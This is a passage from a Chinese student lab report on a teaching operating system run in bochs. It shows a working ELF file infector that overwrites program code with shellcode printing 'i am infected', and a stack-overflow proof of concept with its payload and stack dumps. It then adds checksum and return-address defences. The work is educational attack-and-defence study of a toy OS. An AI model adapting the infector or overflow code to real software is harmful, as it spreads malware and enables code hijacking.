+20, jmp -20等偏移计算的, 而不是直接跳转到一个位置的, 所以还需要计算printf相对当前汇编指令的偏移, 而且还需要将此偏移放入到shellcode中.所以编写将unsigned int类型转换为直接在汇编指令中可用的数据的函数cal\_addr  void **cal\_addr**(int entry, int addr[]) {      int temp = entry;      int i;      for (i = 0; i < 4; i++) {          addr[i] = temp % 256;  *// 256 == 8byte*          temp /= 256;      }  }  然后计算偏移, 并通过cal\_addr函数进行转换  int printf\_offset =      printf\_address - (text\_offset + 0x12 + 5);  int exit\_offset = exit\_address - (text\_offset + 0x1e + 5);  *// +5 是打断点算出来的*  int printf\_off[4];  **cal\_addr**(printf\_offset, printf\_off);  int exit\_off[4];  **cal\_addr**(exit\_offset, exit\_off);  int data\_addr[4];  **cal\_addr**(text\_offset + 35, data\_addr);  根据在bochs中打断点等方式, 构造shellcode如下所示  char shellcode[] = {      0x66,          0x87,      0xdb,                 *// xchg bx,bx*      0x89,          0xe5,  *// mov ebp,esp*      0x83,          0xe4,      0xf0,  *// and esp, 0xfffffff0*      0x83,          0xec,      0x10,  *// sub esp, 0x00000010*      0xc7,          0x04,          0x24,      data\_addr[0],  data\_addr[1],  data\_addr[2],      data\_addr[3],  *// mov ss[esp],string address*      0xe8,          printf\_off[0], printf\_off[1],      printf\_off[2],      printf\_off[3],  *// call printf();*      0xc7,          0x04,          0x24,      0x00,          0x00,          0x00,      0x00,  *// mov ss[esp],0*      0xe8,          exit\_off[0],   exit\_off[1],      exit\_off[2],      exit\_off[3],  *// call exit();*      0x69,          0x20,          0x61,      0x6d,          0x20,          0x69,      0x6e,          0x66,          0x65,      0x63,          0x74,          0x65,      0x64,          0x0A,      0x00  *// string　"i am infected"*  };  然后将shellcode写入到指定位置, 完成代码的覆盖  **lseek**(old\_file, text\_offset, **SEEK\_SET**);  **write**(old\_file, shellcode, sizeof(shellcode));  **printf**("infecting successfully\n");  整个attack的思路和流程如上所示, 效果如下所示.  在未执行attack之前, 所有程序都正常运行    执行attack, 打印了文件扫描过程    在执行完attack以后, 再次运行其他程序, 则会出现i am infected, 然后回到当前的shell中. 如下图所示.    **3. 实现poc程序**  实现通过栈溢出漏洞跳转到当前已有的一个函数中.然后打印出内容, 表示栈溢出成功.  此处因为没法直接在tty中输入地址(因为此处没有python,更没有pwntools来生成字节码) 所以选择直接在程序中存入shellcode的方式, 不过因为函数的位置是会发生变化的, 所以shellcode(数组)需要按照需要进行更改.  这是需要通过栈溢出跳转到的函数  void **shellcode**() {  **printf**("you are pwned\n");      int i = 10000;      while (i--)          ;  **exit**(0);  }  这是实现栈溢出的主体部分, 就是实现这部分的返回地址的覆盖  void **input**() {      int i = 0x11223344;      char buf[8] = "1234567";      \_\_asm\_\_ **\_\_volatile\_\_**("xchg %bx, %bx");  *// \*buf = 'A';*  *// printf("%d", buf);*      char payload[] = {          0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,          0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,          0x41, 0x41, 0x41, 0x41, 0xb5, 0x10, 0x00};  *// printf("%s\n", buf);*  **strcpy**(buf, payload);  **printf**("%s", buf);      \_\_asm\_\_ **\_\_volatile\_\_**("xchg %bx, %bx");      return;  }  这是main函数  int **main**(int argc, char\*\* argv) {      \_\_asm\_\_ **\_\_volatile\_\_**("xchg %bx, %bx");  *// shellcode();*  **input**();      return 0;  }  则显然在main函数中并没有调用shellcode, 而是通过input函数中栈溢出进入到shellcode函数中. 效果如下所示.    在程序中放入了多个断点用于调试和查看栈信息, 下面演示栈中的情况, 在进入input函数之前.  Stack address size 4  | STACK 0x00cffbf0 [0x000228cc] (<unknown>)  | STACK 0x00cffbf4 [0x00001107] (<unknown>)  | STACK 0x00cffbf8 [0x00000001] (<unknown>)  | STACK 0x00cffbfc [0x000ffc00] (<unknown>)  | STACK 0x00cffc00 [0x000ffc08] (<unknown>)  | STACK 0x00cffc04 [0x00000000] (<unknown>)  | STACK 0x00cffc08 [0x00636f70] (<unknown>)  | STACK 0x00cffc0c [0x00000000] (<unknown>)  | STACK 0x00cffc10 [0x00000000] (<unknown>)  | STACK 0x00cffc14 [0x00000000] (<unknown>)  | STACK 0x00cffc18 [0x00000000] (<unknown>)  | STACK 0x00cffc1c [0x00000000] (<unknown>)  | STACK 0x00cffc20 [0x00000000] (<unknown>)  | STACK 0x00cffc24 [0x00000000] (<unknown>)  | STACK 0x00cffc28 [0x00000000] (<unknown>)  | STACK 0x00cffc2c [0x00000000] (<unknown>)  进入input并初始化完局部变量以后  <bochs:5> print-stack  Stack address size 4  | STACK 0x00cffba0 [0x00000000] (<unknown>)  | STACK 0x00cffba4 [0x00000000] (<unknown>)  | STACK 0x00cffba8 [0x00000000] (<unknown>)  | STACK 0x00cffbac [0x00000000] (<unknown>)  | STACK 0x00cffbb0 [0x00000000] (<unknown>)  | STACK 0x00cffbb4 [0x00000000] (<unknown>)  | STACK 0x00cffbb8 [0x00000000] (<unknown>)  | STACK 0x00cffbbc [0x00000000] (<unknown>)  | STACK 0x00cffbc0 [0x00000000] (<unknown>)  | STACK 0x00cffbc4 [0x00000000] (<unknown>)  | STACK 0x00cffbc8 [0x00000000] (<unknown>)  | STACK 0x00cffbcc [0x00000000] (<unknown>)  | STACK 0x00cffbd0 [0x00000000] (<unknown>)  | STACK 0x00cffbd4 [0x34333231] (<unknown>)  | STACK 0x00cffbd8 [0x00373635] (<unknown>)  | STACK 0x00cffbdc [0x11223344] (<unknown>)  显然标红处为局部变量a和buf的位置,在执行完strcpy等操作, 完成栈溢出后  Stack address size 4  | STACK 0x00cffba0 [0x000018d0] (<unknown>)  | STACK 0x00cffba4 [0x000ffbd4] (<unknown>)  | STACK 0x00cffba8 [0x00000000] (<unknown>)  | STACK 0x00cffbac [0x00000000] (<unknown>)  | STACK 0x00cffbb0 [0x00000000] (<unknown>)  | STACK 0x00cffbb4 [0x00000000] (<unknown>)  | STACK 0x00cffbb8 [0x41414100] (<unknown>)  | STACK 0x00cffbbc [0x41414141] (<unknown>)  | STACK 0x00cffbc0 [0x41414141] (<unknown>)  | STACK 0x00cffbc4 [0x41414141] (<unknown>)  | STACK 0x00cffbc8 [0x41414141] (<unknown>)  | STACK 0x00cffbcc [0x41414141] (<unknown>)  | STACK 0x00cffbd0 [0x0010b541] (<unknown>)  | STACK 0x00cffbd4 [0x41414141] (<unknown>)  | STACK 0x00cffbd8 [0x41414141] (<unknown>)  | STACK 0x00cffbdc [0x41414141] (<unknown>)  在ret之前, 显然下一条则为shellcode的入口  Stack address size 4  | STACK 0x00cffbec [0x000010b5] (<unknown>)  | STACK 0x00cffbf0 [0x000228cc] (<unknown>)  | STACK 0x00cffbf4 [0x00001107] (<unknown>)  | STACK 0x00cffbf8 [0x00000001] (<unknown>)  | STACK 0x00cffbfc [0x000ffc00] (<unknown>)  | STACK 0x00cffc00 [0x000ffc08] (<unknown>)  | STACK 0x00cffc04 [0x00000000] (<unknown>)  | STACK 0x00cffc08 [0x00636f70] (<unknown>)  | STACK 0x00cffc0c [0x00000000] (<unknown>)  | STACK 0x00cffc10 [0x00000000] (<unknown>)  | STACK 0x00cffc14 [0x00000000] (<unknown>)  | STACK 0x00cffc18 [0x00000000] (<unknown>)  | STACK 0x00cffc1c [0x00000000] (<unknown>)  | STACK 0x00cffc20 [0x00000000] (<unknown>)  | STACK 0x00cffc24 [0x00000000] (<unknown>)  | STACK 0x00cffc28 [0x00000000] (<unknown>)  在ret以后, 可以看到成功进入了shellcode函数.    **任务二:**  静态检测的思路为, 在最靠近可执行文件进入os的位置进行校验值的计算, 然后在文件执行时进行校验值的检验.  在untar时是首次可执行文件进入系统, 所以在untar时对每个文件进行校验值的计算, 校验值计算方法为按字节异或, 相对于简单的奇偶码校验, 会有更高的安全性, 并且计算机对字节操作非常简单且快速.  所以在untar中, 首先判断是否已经存在一个check\_file文件, 若有,则打开之, 若没有,则创建之.  其中的STACK\_CHECK是一个宏定义开关, 为1时开启静态检测.   int check\_file;      if (**STATIC\_CHECK**) {          check\_file = **open**("check\_file", O\_RDWR);          if (check\_file == -1) {  **printf**("creating check\_file\n");              check\_file = **open**("check\_file", O\_CREAT);          }      }  读取可执行文件的内容, 对其进行按字节异或.  if (**STATIC\_CHECK**) {              int fd\_check = **open**(temp\_filename, O\_RDWR);              if (fd\_check == -1) {  **printf**("open file for check failed\n");  *// 打开当前文件*              }  **Check** check;              check.checksum = 0;  *//初始化check*              int bytes\_get = 1;              char byte128[128];  **strcpy**(check.name, temp\_filename);              while (bytes\_get) {  *// 循环读字节, 直到结束*                  bytes\_get = **read**(fd\_check, &byte128, sizeof(byte128));                  int i = 0;                  for (i = 0; i < bytes\_get; i++)                      check.checksum ^= byte128[i];  *// 按字节异或*              }  **write**(check\_file, &check, sizeof(check));  *// 将结果写入*  **close**(fd\_check);          }  此处的check结构体是, 程序名与校验和  typedef struct **check\_sum** {      unsigned char name[32];      char checksum;  } **Check**;  然后在运行文件时, 进行校验和的检验.  在shabby\_shell中, 进行可执行程序的校验. 仅添加如下部分    其中的check\_valid函数用于判断校验和. 在check\_file中读取当前文件是否存在, 若不存在, 则打印该程序未注册, 若存在则进行比较. 判断成功返回1 ,否则返回0.  int **check\_valid**(int sub\_argc, char\* sub\_argv[]) {      int check\_fd = **open**("check\_file",                          O\_RDWR);  *// 打开存储了校验码的文件*      if (check\_fd == -1) {          return 0;      }      int byte\_get = 1;     *// 存储读取到的*      char check\_sum = 0;   *// 存储checksum*      char temp\_byte[128];  *// temp\_checksum*  **Check** check;      int flag = 0;      while (byte\_get) {  *// 得到文件的checksum*          byte\_get = **read**(check\_fd, &check, sizeof(check));          if (**strcmp**(check.name, sub\_argv[0]) == 0) {              check\_sum = check.checksum;              flag = 1;              break;          }      }  **close**(check\_fd);      if (flag == 0) {  *// 没有找到文件的checksum*  **printf**("sorry ,%s is not registered in system\n", sub\_argv[0]);          return 0;      } else {          int this\_file = **open**(sub\_argv[0], O\_RDWR);          if (this\_file == -1) {  **printf**("open %s wrong\n", sub\_argv[0]);          }          byte\_get = 1;          while (byte\_get) {              byte\_get = **read**(this\_file, &temp\_byte, sizeof(temp\_byte));              if (byte\_get) {                  int i;                  for (i = 0; i < byte\_get; i++) {                      check\_sum ^= temp\_byte[i];                  }              }          }  **close**(this\_file);          if (!check\_sum) {  **printf**("check right!\n");              return 1;          } else {  **printf**("sorry, %s has been modified\n", sub\_argv[0]);              return 0;          }      }  }  首先需要在global.h中修改STATIC\_CHECK为1, 然后重新编译, 因为需要让untar执行, 所以也需要将可执行文件的压缩包写入到80m.img中. 所以需要在command中执行make install.  正常进入系统后, 直接执行程序, 会发现打印check right! 表示成功的通过了校验.    然后使用attack对程序进行修改, 再次执行ls 则会显示已被修改, 不能再执行.    **任务三:**  要求编写一个软件中断, 也就是一个系统调用, 需要响应时间中断, 于是选择在clock\_handler函数中调用  首先先不考虑如何实现动态检测, 首先添加一个系统调用.  原添加系统调用是通过0x90h号中断, 然后使用eax做为下标, 从而选择一个函数执行, 系统中已经实现的sys\_call函数如下所示.  **sys\_call:**          call    save          sti      push    esi      push    dword [p\_proc\_ready]      push    edx      push    ecx      push    ebx          call    [sys\_call\_table + eax \* 4]      add esp, 4 \* 4      pop esi          mov     [esi + EAXREG - P\_STACKBASE], eax          cli          ret  此处的sys\_call\_table的定义在global.c中, 故在最后添加一个此处需要使用的sys\_check\_stack.  **PUBLIC** **system\_call** sys\_call\_table[**NR\_SYS\_CALL**] = {**sys\_printx**, **sys\_sendrec**, **sys\_check\_stack**};  然后sys\_check\_stack其实由(kernel/syscall.asm)sys\_call中的check\_stack触发, 所以添加check\_stack函数  **check\_stack:**      mov  eax, \_NR\_check\_stack      int  INT\_VECTOR\_SYS\_CALL      ret  最后则是编写sys\_check\_stack函数.  目的是分析当前进程的内存结构, 通过判断栈中的返回地址来判断是否存在栈溢出漏洞, 即返回地址不合法. 所以需要首先找到返回地址存储的位置. 因为每个struct proc都存储着一个stack frame, 可以从中获取到相应的寄存器,从而知道返回地址.  因为在调用一个函数时,会将调用该函数后的下一条指令压栈, 然后构建该函数的栈帧, push ebp , mov ebp, esp ..... 所以当前函数的ebp其实是刚进入函数时的栈顶指针, 那么它的上一个则一定是retaddress, 所以首先能获取到ebp的值, 然后获取retaddress, 最后判断是否存在非法的retaddress.  ebp可用直接通过该进程的栈帧获得, 然后需要当前栈的基址, 栈的基址为ss对应的选择子的基址, ss寄存器通过栈帧获得, 然后通过reassembly宏获得栈基址, 于是栈基址加上ebp + 4则是返回地址所在的位置.  此时获取到的retaddress值是一个rva, 因为在do\_exec函数中, 每个函数都被分配了1MB的内存, 并且栈的空间在最后的高400h处, 栈溢出时, 若返回地址在栈中, 则一定是不合法的, 若判断到在栈上, 则为不合法, 简单模拟了栈不可执行. 若超出了1m的内存空间, 则显然也是不合法的. 若出现超长距离跳转(大于0x1500为观察得到的值),或是跳转到了0x1000以前(观察得到所有代码都在0x1000后)则是不合法, 根据以上知识, 最终编写程序如下  **PUBLIC** int **sys\_check\_stack**(int \_unused,                             int \_unused2,                             char\* \_unused3,                             struct **proc**\* p\_proc) {  *// disp\_str(p\_proc->name);*      int ebp = p\_proc->regs.ebp;      int retaddress\_offset = ebp + 4;      int ss = p\_proc->regs.ss;  *// 由ss获得描述符*      int base = **reassembly**(p\_proc->ldts[ss >> 3].base\_high, 24,                            p\_proc->ldts[ss >> 3].base\_mid, 16,                            p\_proc->ldts[ss >> 3].base\_low);      unsigned int retaddr = \*(int\*)(retaddress\_offset + base);  *// disp\_str("\n\n\n\n\n\n\n\n\n\n\n");*  *// disp\_int(retaddr);*  *// disp\_str("\n");*      if (retaddr > (**PROC\_IMAGE\_SIZE\_DEFAULT** - **PROC\_ORIGIN\_STACK**)) {  *// 如果在栈上  或者超过栈了 ,或者*  **retaddress\_error**();      }      if (retaddr - 0x1000 > 0x1500 || retaddr < 0x1000) {  *// 超长距离跳转*  **retaddress\_error**();      }  }  其中的retaddress\_error()函数为报错函数  void **retaddress\_error**() {  **disp\_str**("\n\n\n\n\n\n\n\n\n\n\n");  **disp\_str**("here checked a return address Error: ");  **disp\_str**(p\_proc\_ready->name);  **disp\_str**("  is hostile\n");  }  打印出检测到被攻击的进程的名称.  此处需要提及:虽然该检测方法检测retaddress是否合法, 本因不能检测到现有的poc, 因为现有的poc的retaddress是shellcode函数的地址, 是该进程内的合法地址. 但是该程序仍然能检测到, 因为, 在通过栈溢出进入该函数与直接call进入函数不同, call进入函数前会将下一条地址压栈,但是直接栈溢出进入时并没有这一步骤, 所以事实上并没有retaddress, 但是retaddress的位置仍然存在, 通过该方法仍然会得到一个值, 而该值通常是不合法的. 所以虽然没有在进入该函数前检测出retaddress不合法, 但是在执行该函数时, 仍然检测出了不合法, 所以能够检测出poc中的栈溢出.  最终的执行效果如下所示. 在屏幕tty0处显示出了相应的警告信息.    但是因为是通过系统调用直接响应时钟中断检查内存. 系统调用的特权级为ring0, 但是杀死程序的函数如cleanup函数并不能在ring0运行, 所以此处虽然能检测到程序的问题, 但是并不能将其杀死, 仅仅是报错. | | | | | |
| 1. 实验结果总结   （对实验结果进行分析，完成思考题目，并提出实验的改进意见） | | | | | |
| 本次实验中, 完成了PARTA中的任务一,任务二, 任务三 和 PARTB中的任务一, 任务二, 任务三.  成功组装装配了一个简易os, 添加了多个用户进程和实现了并行shell.结果如下所示.    成功实现了对内存破坏的poc和对可执行文件破坏的attack, 并且完成了静态可信和动态可信的检测.  图为实现栈溢出后的结果    图为实现attack后的结果    图为静态可信检测的结果      图为动态检测后的结果    本次实验成功完成了上述的任务  学习了os的装配和整合, 学习了fork函数和exec函数的原理和实现, 并且深入了解了多个程序并行的解决方法.  学习了elf文件结构, elf病毒结构 , 栈溢出的相关知识等. 操作系统的静态可信和动态可信的基本机制. | | | | | |
|  | | | | | |
| 1. 各人实验贡献与体会（每人各自撰写） | | | | | |
| 分工: 本次实验所有部分由2019302180149完成  体会: 本次实验中, 回顾了前面的知识, 加深了对整个操作系统的理解, 包括后面对文件系统的实现, 对进程间通信的实现, shell的实现等, 并且在回顾了之前的知识后,在原有操作系统的基础上进行了修改和功能的增加. 其中,在修改调度算法时, 要求对系统的统筹兼顾能力, 因为要考虑到阻塞, fork出的子进程等一系列内容, 并且在添加用户进程和实现shell的过程中, 也出现了一些系统原有的bug, 所以还需要同时判断当前bug是已有bug还是后面引入的bug, 所以在该os上操作还是有些许困难.  后续的PARTB部分则相对比较有趣, 对于可执行程序的修改, 对漏洞的利用和检测等, 加深了对操作系统安全的理解和对安全之间的攻防对抗的理解.完成了任务后有着很大的成就感. 但是同时也存在一些问题和存在更多可以优化的地方. | | | | | |
| 1. 教师评语 | | | | | |
|  | | | | | |
| 评分 | | | | | |
| 姓名 | | 学号 | | 分数 | |
|  | |  | |  | |
|  | |  | |  | |
|  | |  | |  | |
|  | |  | |  | |
| 教师签名：  年 月 日 | | | | | |